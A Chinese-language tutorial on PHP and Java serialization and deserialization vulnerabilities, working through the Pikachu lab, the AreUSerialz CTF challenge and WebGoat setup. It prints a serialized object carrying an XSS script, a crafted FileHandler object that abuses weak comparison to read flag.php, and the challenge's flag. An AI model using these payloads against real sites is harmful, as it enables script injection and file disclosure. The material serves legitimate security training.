一、简介
就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个dlass一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候php就和我们说,你可以把这个对象序列化了,存成一个字符审,当你要用的时候再放他出来就好了。在我们讲php反序列化的时候,基本都是围绕着serialize(). unserialize()这两个函数。
二、PHP序列化和反序列化
1. 序列化
# 序列化函数:serialize() <?php class Person { var $name="varin"; } $user1 = new Person(); echo serialize($user1); ?>
O:对象 6:对象名称长度 Person:对象名称 1:表示有一个值 s:字符串 4:变量名长度 ... 常见的几个魔法函数: __construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup将在序列化之后立即被调用
2. 反序列化
<?php class Person { var $name="varin"; } // 序列化 $user1 = new Person(); $user1_ser= serialize($user1); // 反序列化 $user2 = unserialize($user1_ser); print_r($user2); echo "<br>"; echo $user1->name; ?>
三、JAVA序列化和反序列化
使用:
1. 序列化
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.Serializable; public class Test { public static void main(String[] args) throws IOException { // 序列化 Person person = new Person("varin"); System.out.println(person); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./varin.txt")); objectOutputStream.writeObject(person); objectOutputStream.flush(); objectOutputStream.close(); } } class Person implements Serializable{ public Person(){ } private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } public Person(String name) { this.name = name; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + '}'; } }
2. 反序列化
技巧:若在网站上看见一段数据以r00AB开头,大概率是JAVA序列化Base64加密的数据
或者:是以aced开头,是java序列化的十六进制数据
import java.io.*; public class Test { public static void main(String[] args) throws IOException, ClassNotFoundException { //反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./varin.txt")); Person o =(Person) objectInputStream.readObject(); objectOutputStream.close(); System.out.println(o.getName()); } }
3. 扩展-java执行系统命令
import java.io.*; public class Test { public static void main(String[] args) throws IOException, ClassNotFoundException { // java执行系统命令 Process ifconfig = Runtime.getRuntime().exec("ipconfig"); InputStream inputStream = ifconfig.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String s = null; while (( s = bufferedReader.readLine()) != null) { System.out.println(s); } bufferedReader.close(); } }
四、PHP反序列化漏洞重现
- 靶场:pikachu
// 漏洞源码 /* 核心: 以POST方式接收序列化对象o, 接收后并将o对象序列化后赋值给对象$unser,页面打印对象$unser的test属性 */ <?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "unser.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?>
# 序列化结构: O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
五、CTF-PHP反序列化漏洞利用
题目名称:AreUSerialz
思路:
// 弱类型对比:== (存在漏洞:“2”==“ 2” 返回true) // 强类型对比:=== 1 git方式提交str参数 2 有unserialize()函数表示需要序列化数据 3 FileHandler类三个变量,5个函数其中两个魔法函数,3个自定义函数 4 魔法函数:__construct()创建 、__destruct()销毁 5 write ()、read()、process() 6 因为代码中并创建对象,所以未使用__construct()函数,只执行__destruct() 7 __destruct()函数中将$content变量中的值清空了,所以write方法无效 8 利用弱类型对比漏洞,进入到read方法 9 因为代码中有文件包含:include("flag.php"),所以尝试读取,$filename=“flag.php” 10 构造序列化字符串
<?php class FileHandler { protected $op=" 2"; protected $filename="flag.php"; protected $content=""; } $o = new FileHandler(); echo serialize($o); # O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";} ?>
# 将序列化字符赋值给str并使用get方法请求网址后,进入到网页的源代码页面
# flag $FLAG = "ctfhub{128ad0a5b38aae3ac705237b}"
六、扩展:WebGoat靶场实战(JAVA靶场)
- github地址:https://github.com/WebGoat/WebGoat/tags
- 注意:jar包运行环境为:JDK17
- 启动jar包命令:
java -jar webgoat-2023.8.jar
- 访问网址:
http://127.0.0.1:8080/WebGoat